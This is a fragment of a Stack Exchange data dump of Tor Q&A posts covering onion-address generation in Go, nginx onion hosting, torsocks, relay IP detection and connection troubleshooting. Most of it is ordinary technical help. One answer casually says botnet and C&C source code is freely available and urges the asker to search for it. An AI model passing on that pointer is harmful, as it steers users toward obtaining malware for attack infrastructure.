  <row Id="22664" PostTypeId="2" ParentId="22663" CreationDate="2021-09-18T09:02:20.410" Score="1" Body="&lt;p&gt;The data you've displayed on a screenshot is a binary displayed as a char stream, you need to put it in the right format. I have a good example on Go - here is the code, I'm sure you'll spot the format specs out of it :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Example of generating Tor onion using the new ED25519-v3 format&#xA;&#xA;package main&#xA;&#xA;import (&#xA;    &amp;quot;crypto/rand&amp;quot;&#xA;    &amp;quot;crypto/sha512&amp;quot;&#xA;    &amp;quot;encoding/base32&amp;quot;&#xA;    &amp;quot;encoding/base64&amp;quot;&#xA;    &amp;quot;fmt&amp;quot;&#xA;    &amp;quot;golang.org/x/crypto/ed25519&amp;quot;&#xA;    &amp;quot;golang.org/x/crypto/sha3&amp;quot;&#xA;    &amp;quot;log&amp;quot;&#xA;    &amp;quot;strings&amp;quot;&#xA;)&#xA;&#xA;// Hidden service version&#xA;const version = byte(0x03)&#xA;&#xA;// Salt used to create checkdigits&#xA;const salt = &amp;quot;.onion checksum&amp;quot;&#xA;&#xA;func main() {&#xA;    pub, pri, err := ed25519.GenerateKey(rand.Reader)&#xA;    if err != nil {&#xA;        log.Fatal(err)&#xA;    }&#xA;    fmt.Println(&amp;quot;Address:&amp;quot;, getServiceID(pub)+&amp;quot;.onion&amp;quot;)&#xA;    fmt.Println(&amp;quot;Private Key:&amp;quot;, expandKey(pri))&#xA;}&#xA;&#xA;// Expand ed25519.PrivateKey to (a || RH) form, return base64&#xA;func expandKey(pri ed25519.PrivateKey) string {&#xA;    h := sha512.Sum512(pri[:32])&#xA;    // Set bits so that h[:32] is private scalar &amp;quot;a&amp;quot;&#xA;    h[0] &amp;amp;= 248&#xA;    h[31] &amp;amp;= 127&#xA;    h[31] |= 64&#xA;    // Since h[32:] is RH, h is now (a || RH)&#xA;    return base64.StdEncoding.EncodeToString(h[:])&#xA;}&#xA;&#xA;func getCheckdigits(pub ed25519.PublicKey) []byte {&#xA;    // Calculate checksum sha3(&amp;quot;.onion checksum&amp;quot; || publicKey || version)&#xA;    checkstr := []byte(salt)&#xA;    checkstr = append(checkstr, pub...)&#xA;    checkstr = append(checkstr, version)&#xA;    checksum := sha3.Sum256(checkstr)&#xA;    return checksum[:2]&#xA;}&#xA;&#xA;func getServiceID(pub ed25519.PublicKey) string {&#xA;    // Construct onion address base32(publicKey || checkdigits || version)&#xA;    checkdigits := getCheckdigits(pub)&#xA;    combined := pub[:]&#xA;    combined = append(combined, checkdigits...)&#xA;    combined = append(combined, version)&#xA;    serviceID := base32.StdEncoding.EncodeToString(combined)&#xA;    return strings.ToLower(serviceID)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The source credit is &lt;a href=&quot;https://gist.github.com/wybiral/8f737644fc140c97b6b26c13b1409837&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/wybiral/8f737644fc140c97b6b26c13b1409837&lt;/a&gt; - I used it myself when I needed to do exactly the same thing&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-18T09:02:20.410" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22665" PostTypeId="2" ParentId="19937" CreationDate="2021-09-18T10:19:22.420" Score="0" Body="&lt;p&gt;This is the result of poor website's web server and/or CDN configuration. Some CDN's do have an option to deny Tor exit node IP's(the IP the website can see as a request source) - the same settings can be enabled in WAF like mod_security. That's &lt;strong&gt;how&lt;/strong&gt; it happens - so you can not change this by an action from your side if you're using Tor as an exit to the website.&lt;/p&gt;&#xA;&lt;p&gt;IMHO this is lame: in my experience running the servers - the Wild-Wild Web from a Clearnet side is actually far more dangerous than &lt;em&gt;any&lt;/em&gt; of the darknets because of the requests per second rate is a magnitude higher than via darknet because of far less encryption involved and there is a way straighter route for the packets. Darknet ban because of &amp;quot;security risk&amp;quot; is not an excuse for sure.&lt;/p&gt;&#xA;&lt;p&gt;As it should be - it's just as simple as it gets: every darknet provides the reverse tunnel or reverse proxy functionality, so - yes, you should just use it to have a darknet addresses for your service. Take a look at Facebook, for example - they have an official onion address with the HTTPS with a green certificate check at &lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-18T10:19:22.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22666" PostTypeId="2" ParentId="3855" CreationDate="2021-09-18T10:54:42.080" Score="0" Body="&lt;p&gt;Well, you don't need anything except the NGinx and tor running on the same box: in nginx &lt;em&gt;server&lt;/em&gt; block you utilize the include ability - so you will have two server blocks for defining listening address - a clearnet IP for open web and 127.0.0.7 for Tor - and &lt;em&gt;separate&lt;/em&gt; logging, &lt;strong&gt;separate&lt;/strong&gt; HTTPS certificates with corresponding host names in them to avoid collisions and data leaks &lt;strong&gt;and&lt;/strong&gt; an environment variable for the darknet connection like DARKNET=1 or 0 correspondingly. Why do you need a variable? - To turn off &lt;em&gt;any&lt;/em&gt; stats, ads and trackers for a darknet site to avoid privacy leaks: you do it on your CMS level by disabling blocks by the environmental variable value. You don't need &lt;strong&gt;anything&lt;/strong&gt; else! As soon as you will make these server directives for http to https redirecting and for https site serving - just put the rest of your website config into the separate config file and include it as the last directive inside the https server definition block. That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-18T10:54:42.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22668" PostTypeId="1" AcceptedAnswerId="22682" CreationDate="2021-09-18T14:23:02.690" Score="0" ViewCount="205" Body="&lt;p&gt;I have an IP address that changes roughly every 24 hours. About two out of three times, I’ve seen Tor detect that my IP address changed; but the last time it didn’t work and I had to restart the relay manually.&lt;/p&gt;&#xA;&lt;p&gt;Is this flakiness expected or is there simply a nontrivial amount of delay before Tor detects this change? Should I write a script that restarts Tor instead of waiting for it to detect IP changes on its own?&lt;/p&gt;&#xA;" OwnerUserId="33275" LastActivityDate="2021-09-19T15:04:01.783" Title="Will Tor automatically detect when my IP address changes when running a relay?" Tags="|relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22669" PostTypeId="1" AcceptedAnswerId="22670" CreationDate="2021-09-18T15:39:08.520" Score="0" ViewCount="101" Body="&lt;p&gt;I have used TOR for a while now, and I have no problems, except it is a bit slow to load pages, which is fine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.netspend.com/activation&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.netspend.com/activation&lt;/a&gt;  is a site to activate a VISA debit card, which I want to activate anonymously. It won't load.&lt;/p&gt;&#xA;&lt;p&gt;On any other browser it comes up in a second or two. I've tried TOR on two workstations, windows 7 and windows 10.&lt;/p&gt;&#xA;&lt;p&gt;I've seen references to TOR not being 'set up' correctly; do I need to configure this somehow? Are some sites more sensitive to onion browsing and all this relaying than others?&lt;/p&gt;&#xA;&lt;p&gt;I'm starting to think this site will not load to a browser that appears to be not in the US, since the card is only valid there...&lt;/p&gt;&#xA;" OwnerUserId="33276" LastActivityDate="2021-09-19T21:28:02.683" Title="One site will not load on TOR" Tags="|configuration|windows|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22670" PostTypeId="2" ParentId="22669" CreationDate="2021-09-18T15:53:43.920" Score="0" Body="&lt;p&gt;It does load just fine from EU.&#xA;They will just block tor traffic, because, like, who activates his cc via tor won't do good, they think.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2021-09-18T15:53:43.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22671" PostTypeId="1" CreationDate="2021-09-18T19:23:17.243" Score="0" ViewCount="1183" Body="&lt;p&gt;i wanted to start using TOR, but sadly i am not able to connect.&#xA;These are the error messages:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;9/18/21, 19:18:58.603 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/18/21, 19:18:58.603 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;9/18/21, 19:19:00.681 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;9/18/21, 19:19:00.682 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;9/18/21, 19:19:21.738 [WARN] Proxy Client: unable to connect to 131.252.210.150:8080 (&amp;quot;TTL expired&amp;quot;) &#xA;9/18/21, 19:19:21.739 [WARN] Proxy Client: unable to connect to 128.105.214.163:8080 (&amp;quot;TTL expired&amp;quot;) &#xA;9/18/21, 19:19:21.739 [WARN] Proxy Client: unable to connect to 128.105.214.161:8080 (&amp;quot;TTL expired&amp;quot;) &#xA;9/18/21, 19:19:21.739 [WARN] Proxy Client: unable to connect to 128.105.214.162:8080 (&amp;quot;TTL expired&amp;quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33277" LastEditorUserId="9291" LastEditDate="2021-09-19T14:59:26.177" LastActivityDate="2022-02-16T18:01:30.163" Title="Cant connect to TOR network" Tags="|connection|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22672" PostTypeId="2" ParentId="22671" CreationDate="2021-09-18T19:32:27.883" Score="0" Body="&lt;p&gt;Seems like you are failing to connect to a SOCKS proxy. If a SOCKS proxy is required for your network setup, then please make sure you’ve entered your proxy details correctly. If a SOCKS proxy is not required, or you’re not sure, please try connecting to the Tor network without a SOCKS proxy.&lt;/p&gt;&#xA;" OwnerUserId="31025" LastActivityDate="2021-09-18T19:32:27.883" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22674" PostTypeId="2" ParentId="21298" CreationDate="2021-09-19T02:21:51.623" Score="0" Body="&lt;p&gt;This seems like the letterboxing feature which is used to avoid fingerprinting.&#xA;Try going to &lt;a href=&quot;http://about:config&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;&lt;code&gt;about:config&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;, and turn &lt;code&gt;privacy.resistFingerprinting.letterboxing&lt;/code&gt; to false to get rid of it.&lt;/p&gt;&#xA;" OwnerUserId="33280" LastEditorUserId="33280" LastEditDate="2021-10-17T22:13:45.970" LastActivityDate="2021-10-17T22:13:45.970" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22675" PostTypeId="1" CreationDate="2021-09-19T05:23:42.517" Score="0" ViewCount="284" Body="&lt;p&gt;&lt;strong&gt;Help Help Help&lt;/strong&gt;First question... In Parrot Security when I have both the Tor Browser connected and Anonsurf why do I have two different IP addresses.  When I am in the browser and go to what is my IP address it gives me one address and when I click on the button in Anonsurf My IP address it gives me another IP address.  How is this possible.  Don't you only have one IP address at a time.  They are both IPv4 addresses so I am not confusing the two.  I just don't understand how you can have two different IP addresses on the same computer without running a virtual machine or something.  If anyone can Help with this part I would appreciate it.&lt;/p&gt;&#xA;&lt;p&gt;Second question, when I start Anonsurf in Parrot and open up a regular browser and go to a webpage where am I.  It gives my current location.  I thought Anonsurf routes all traffic through Tor.&lt;/p&gt;&#xA;&lt;p&gt;Lastly when I was using Tor and went to the Tor Detection website I got one IP address and when I went to another site at the same time (what is my IP address) it gave me another IP address it was similar but not the same, IDK if it was some kind of mess up or what.  If anyone knows why that could happen, I would appreciate it, explaining it to me.  Thnaks.&lt;/p&gt;&#xA;" OwnerUserId="32082" LastEditorUserId="32082" LastEditDate="2021-09-19T05:36:00.443" LastActivityDate="2021-09-19T16:28:27.500" Title="Tor Detection IP Address different then other websites, help" Tags="|tor-browser-bundle|security|ip-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22676" PostTypeId="2" ParentId="22675" CreationDate="2021-09-19T09:59:05.230" Score="1" Body="&lt;p&gt;First, a device (your PC) can have multiple IP addresses, even on one physical interface. But that's not the thing with tor.&lt;/p&gt;&#xA;&lt;p&gt;When using tor, the address shown is not yours, but the one of the exit node you are using in that moment for that circuit.&lt;/p&gt;&#xA;&lt;p&gt;Simply said, you are using a new circuit for every site you visit so everytime, new address. In tor browser you can click left of the address bar and get the info, which nodes are active for that site. In another tab, another circuit, usually, another address.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2021-09-19T09:59:05.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22677" PostTypeId="2" ParentId="22668" CreationDate="2021-09-19T10:03:59.180" Score="1" Body="&lt;p&gt;Yes, it should detect that by itself. Important is, that you have the address line in your torrc blank. Then the daemon will check for itself.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2021-09-19T10:03:59.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22678" PostTypeId="2" ParentId="22671" CreationDate="2021-09-19T11:14:15.257" Score="0" Body="&lt;p&gt;Somehow, DisableNetwork is enabled according your log.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So you cannot connect if your directory information is insufficient to connect to the network.&lt;/p&gt;&#xA;&lt;p&gt;Edit your torrc to enable connections.&lt;/p&gt;&#xA;&lt;p&gt;Are you using tails?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In the Welcome Screen the &amp;quot;Network Configuration&amp;quot; section contains a non-default option called &amp;quot;My Internet Connection is censored...&amp;quot;. When activated, the following deviations from normal Tails behaviour occur, in order:&#xA;Tails sessions begin with DisableNetwork 1 in torrc so Tor will not connect to the network without user intervention.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://tails.boum.org/contribute/design/Tor_network_configuration/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tails doc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2021-09-19T11:14:15.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22679" PostTypeId="2" ParentId="22626" CreationDate="2021-09-19T11:23:09.047" Score="1" Body="&lt;p&gt;torsocks needs to intercept the system calls for connections to divert them into tor. Because this application behavior could be malicious, apple seems to protect some apps from such behavior.&lt;/p&gt;&#xA;&lt;p&gt;You could try to copy one of those tools to another directory and try to run it from there (like /tmp/ for a temporary try), if apple allows to run from there.&#xA;If successful, choose an appropriate directory to put your tools into and run them from there in the future. Or you can disable apple protections, but that might not be reasonable: &lt;a href=&quot;https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Update: as using the delivered tools at another directory may not work, install your tools again through brew which will install another version at another directory which won't be protected by the protections. You will find them after install in /usr/local/&lt;/p&gt;&#xA;" OwnerUserId="31200" LastEditorUserId="31200" LastEditDate="2021-09-20T08:43:03.277" LastActivityDate="2021-09-20T08:43:03.277" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22681" PostTypeId="1" CreationDate="2021-09-19T14:55:08.283" Score="0" ViewCount="233" Body="&lt;p&gt;I am student at university and use university internet. I am interested in using Tor to prevent my university from seeing what sites I visit and what I am doing on those sites. As I understand it now, if I use tor my university can see that I am using tor but not what sites I visit/what data is on those sites. Is that correct? Also, I have heard that is bad practice to install extensions like adblock on Tor or to login into websites on Tor as it can de anonymize you. However if I just want to hide my traffic from my university this should not be a problem as long as I do not log into any university services correct?&lt;/p&gt;&#xA;" OwnerUserId="33284" LastActivityDate="2022-02-17T23:02:25.270" Title="What precautions should I take if I want to use Tor to hide my traffic from my University?" Tags="|tor-browser-bundle|configuration|anonymity|security|help|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22682" PostTypeId="2" ParentId="22668" CreationDate="2021-09-19T15:04:01.783" Score="1" Body="&lt;p&gt;You're correct: Tor will detect the address change &lt;strong&gt;unless&lt;/strong&gt; it's instructed to use a specific IP address in the &lt;em&gt;torrc&lt;/em&gt; config. To speed up the address detection use a python script that will use Stem library for Tor and will check if your address has changed. And - when it changed - send SIGNAL NEWNYM to Tor control port and try to make an outgoing request, it will speed up the detection greatly&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-19T15:04:01.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22683" PostTypeId="2" ParentId="22654" CreationDate="2021-09-19T15:05:36.110" Score="0" Body="&lt;p&gt;Well, any botnet can be used with Tor - because Tor is just a tunneling tool. Actually, some botnets have already used it. The source codes for bot+c&amp;amp;c are available in clear and dark web for free - just make some search ;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-19T15:05:36.110" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22684" PostTypeId="2" ParentId="22675" CreationDate="2021-09-19T16:28:27.500" Score="0" Body="&lt;p&gt;Well, you can have multiple &lt;em&gt;outbound&lt;/em&gt; addresses shown by an external sites because of Tor's feature to use a separate authentication user as a separated pipe, i.e. it will go out through another chain and - most likely - through another Exit Node. If you have Tor on your PC - basically you don't need anything else, everything can be configured using a standard system tools. Anonsurf is not needed when you're using just a Tor Browser - it's an overkill and it can make your work slower &lt;strong&gt;without&lt;/strong&gt; adding any security&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-19T16:28:27.500" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22685" PostTypeId="2" ParentId="22650" CreationDate="2021-09-19T16:31:04.640" Score="0" Body="&lt;p&gt;This is one of the massive control vectors, i.e. if you're controlling/operating like 50%+ of Tor network nodes - then yes, it can be an issue. Otherwise - no, it's properly distributed through the network. And this question, actually, shows us the importance of running your own node for everybody: a Raspberry Pi or another SBC will not consume much power even being online a month non-stop, but will speed up your privacy and the network itself.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-19T16:31:04.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22686" PostTypeId="2" ParentId="22671" CreationDate="2021-09-19T16:34:06.347" Score="0" Body="&lt;p&gt;If it's a Tor browser's &lt;em&gt;tor&lt;/em&gt; process - use a separate one, a lot of tools like Tor Browser has caused it by ridiculously issuing this command to the node. There's no practical use for this even on a mobile networks: you can save 90% of traffic easily using a different tactics but without disabling the network. If you disable network - then you will need to re-integrate in it when you resume, and saving like 2-5 megabytes of traffic here sounds like a bad idea, IMHO&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-19T16:34:06.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22690" PostTypeId="2" ParentId="22669" CreationDate="2021-09-19T21:28:02.683" Score="0" Body="&lt;p&gt;Well, it looks like they're using a Cloudflare or a similar service to do tor blocking and CDN service. They &lt;strong&gt;do&lt;/strong&gt; track you as you're using their service, so - discard them, there's nothing more you can do from your side&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-19T21:28:02.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22691" PostTypeId="2" ParentId="22307" CreationDate="2021-09-19T22:52:39.140" Score="0" Body="&lt;p&gt;It can be tracked if it leaks, so - it's totally depends on a setup. But - to be 101% ensured that you're safe - use a local ISC BIND setup and route it properly to handle dot-onion domains&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-19T22:52:39.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22692" PostTypeId="2" ParentId="22681" CreationDate="2021-09-20T09:30:04.943" Score="0" Body="&lt;p&gt;Yes  so far you are correct.&lt;/p&gt;&#xA;&lt;p&gt;If your only threat model is your university, you may use VPN/ssh tunneling whatever, which may be faster than tor and wont use so much resources for such a simple task.&#xA;If your threat model includes more than that, you might need tor.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2021-09-20T09:30:04.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22693" PostTypeId="1" CreationDate="2021-09-20T17:22:44.673" Score="0" ViewCount="81" Body="&lt;p&gt;Suppose someone has a lot of monero (or some other sufficiently private currency) and they want to have highest possible data throughput while maintaining anonymity.&lt;/p&gt;&#xA;&lt;p&gt;Has anyone researched protocols that allow someone to pay for packet prioritization but in such a way that they can still remain anonymous. I understand that simply marking your packets as &amp;quot;special&amp;quot; is basically the definition of de-anonymization. So in order to make this work there would need to be a probabilistic component to it/someone pays to make MANY users packets higher priority (and not just their own), to retain their anonymity.&lt;/p&gt;&#xA;&lt;p&gt;I suspect a protocol like this should exist. Perhaps this question is also better suited for cyber security stackexchange or crypto.stackexchange but this seemed like the best place to start.&lt;/p&gt;&#xA;" OwnerUserId="31056" LastActivityDate="2021-09-21T12:31:29.957" Title="Could there be a way to make the Tor network faster by paying money?" Tags="|onion-routing|protocol|bandwidth|garlic-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22694" PostTypeId="2" ParentId="22693" CreationDate="2021-09-20T21:45:03.477" Score="1" Body="&lt;p&gt;Indeed! run a node or two - and it will make the whole network a bit faster&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-20T21:45:03.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22695" PostTypeId="2" ParentId="22681" CreationDate="2021-09-20T21:47:29.857" Score="0" Body="&lt;p&gt;just 3 steps:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run a VM/box &lt;strong&gt;dedicated&lt;/strong&gt; to Tor&lt;/li&gt;&#xA;&lt;li&gt;Route &lt;em&gt;all the rest&lt;/em&gt; of the traffic through it - except the Tor node one&lt;/li&gt;&#xA;&lt;li&gt;Do not confirm your phone, e.t.c... = keep a digital hygiene up&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And it will work for sure&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-09-20T21:47:29.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22696" PostTypeId="1" CreationDate="2021-09-20T22:57:52.843" Score="0" ViewCount="117" Body="&lt;p&gt;I never seen a full explanation of how the server connects to these &amp;quot;introduction&amp;quot; nodes to the client, I understand the idea of the tor path ending with the exit node that's then resent back to the client but not so much how it's done with onion links&lt;/p&gt;&#xA;&lt;p&gt;How does the network even know where to begin to connect too, what's the network path from the client to the server?&lt;/p&gt;&#xA;&lt;p&gt;Sorry if it's such a general question but I just can't seem to find it asked anywhere else :&amp;lt;&lt;/p&gt;&#xA;&lt;p&gt;In other words&lt;/p&gt;&#xA;&lt;p&gt;How does the network know where to connect to inorder to direct traffic?&lt;/p&gt;&#xA;" OwnerUserId="33295" LastActivityDate="2021-09-22T09:39:42.997" Title="How do clients find what nodes to connect when connecting to a .onion link" Tags="|onion-services|relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22697" PostTypeId="2" ParentId="22626" CreationDate="2021-09-21T07:05:27.813" Score="2" Body="&lt;p&gt;You cannot use torsocks on system utilities without disabling SIP. Your best bet is to install alternate versions of these tools using Homebrew and use torsocks on those binaries.&lt;/p&gt;&#xA;&lt;p&gt;For example, you can find &lt;code&gt;curl&lt;/code&gt; at &lt;code&gt;/usr/local/opt/curl/bin/curl&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33275" LastActivityDate="2021-09-21T07:05:27.813" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22698" PostTypeId="2" ParentId="22693" CreationDate="2021-09-21T12:31:29.957" Score="1" Body="&lt;p&gt;Yes. You will probably want to see these two blog posts:&lt;br /&gt;&#xA;&lt;a href=&quot;https://blog.torproject.org/two-incentive-designs-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/two-incentive-designs-tor&lt;/a&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;https://blog.torproject.org/tor-incentives-research-roundup-goldstar-par-braids-lira-tears-and-torcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/tor-incentives-research-roundup-goldstar-par-braids-lira-tears-and-torcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-09-21T12:31:29.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22699" PostTypeId="2" ParentId="22696" CreationDate="2021-09-21T12:55:40.123" Score="1" Body="&lt;p&gt;The Tor Project has a nice overview page of how onion services work: &lt;a href=&quot;https://community.torproject.org/onion-services/overview/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/overview/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is my own attempt at reading &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;the specification&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Based upon the public key extracted from the .onion domain and a random value (that changes over time), math can be done to figure out which of the many thousands of nodes have a &amp;quot;descriptor&amp;quot; (a file) containing the Introduction Points. Tor will download this descriptor, and inside it will be how to connect. The descriptor has many ways of specifying the Introduction Points, one of them is just directly the IPv4 address. Once Tor knows this it makes a connection to the Introduction Point and asks it to forward a message telling the Onion Service that it would like to connect and the &amp;quot;Rendezvous Point&amp;quot;. At some point before this, Tor has also selected a random node to be a &amp;quot;Rendezvous Point&amp;quot;. Once the Onion Service gets the message forwarded by the Introduction Point, it will connect to the RP and the connection is finished.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-09-21T12:55:40.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22700" PostTypeId="1" CreationDate="2021-09-22T07:33:37.250" Score="0" ViewCount="111" Body="&lt;p&gt;Quote from Reddit&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;One thing, though: Don't think Torsocks is a jail. It's not even close. Applications can reach clearnet if they're explicitly trying.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I download files with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks curl example.org/file.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How example.org can see my real IP if only using &lt;code&gt;curl&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2021-09-28T20:47:33.360" Title="Site operator gets real IP when I do &quot;torsocks curl example.org/file.zip&quot;?" Tags="|torsocks|torify|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22701" PostTypeId="1" CreationDate="2021-09-22T09:26:41.967" Score="0" ViewCount="95" Body="&lt;p&gt;Im a little new to this so I apologize if i am using it improperly but i recently installed Tails OS and i dont like the way the desktop looks so Ive been trying to use Openbox window manager within it. I saw in many articles and tutorials that after you install openbox you just select to use it when logging in but the settings button doesnt seem to be present when logging in with tails. Id like to get openbox setup in my persistence volume to use anytime i log in, but i cant figure out how. The thing i theorized about was running virtualbox within tails and using Whonix within that virtual machine but it think thats even more of a stretch. Id love some help on this topic, thank you&lt;/p&gt;&#xA;" OwnerUserId="33299" LastActivityDate="2022-02-22T21:00:10.073" Title="Using OpenBox window manger in Tails OS" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22703" PostTypeId="2" ParentId="22292" CreationDate="2021-09-22T09:45:35.683" Score="0" Body="&lt;p&gt;Which browser is this? Not Tor Browser?&lt;/p&gt;&#xA;&lt;p&gt;Use Tor browser, you will find them, if not!&lt;/p&gt;&#xA;" OwnerUserId="33045" LastActivityDate="2021-09-22T09:45:35.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22704" PostTypeId="2" ParentId="22700" CreationDate="2021-09-22T11:31:10.247" Score="1" Body="&lt;p&gt;Just tried your example, it doesn't see my real ip. There maybe some clever way to bypass torsocks, but usually applications access regular API's and curl definitely doesn't leak IP's on regular requests. Also, curl doesn't leak dns in this case, only using tor with &lt;code&gt;--socks5&lt;/code&gt; and not &lt;code&gt;--socks5-hostname&lt;/code&gt; does.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2021-09-22T11:31:10.247" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22705" PostTypeId="2" ParentId="19164" CreationDate="2021-09-22T18:49:51.253" Score="0" Body="&lt;p&gt;You won't know when the surveillance is initiated unless they let you know for legal reasons in some juristictions. Cryptocurrency VPN's was mentioned&#xA;, so was hardware hacks.&lt;/p&gt;&#xA;&lt;p&gt;Those combined points make life very difficult for amateur/professional security experts with hypothetical (hopefully) plots/behaviour and although critical, the planning phase is ideally thorough, comprehensive, covert, and take a minimal amount of time to mitigate surveillance initation before your final, best draft is put in to action.&lt;/p&gt;&#xA;" OwnerUserId="33305" LastActivityDate="2021-09-22T18:49:51.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
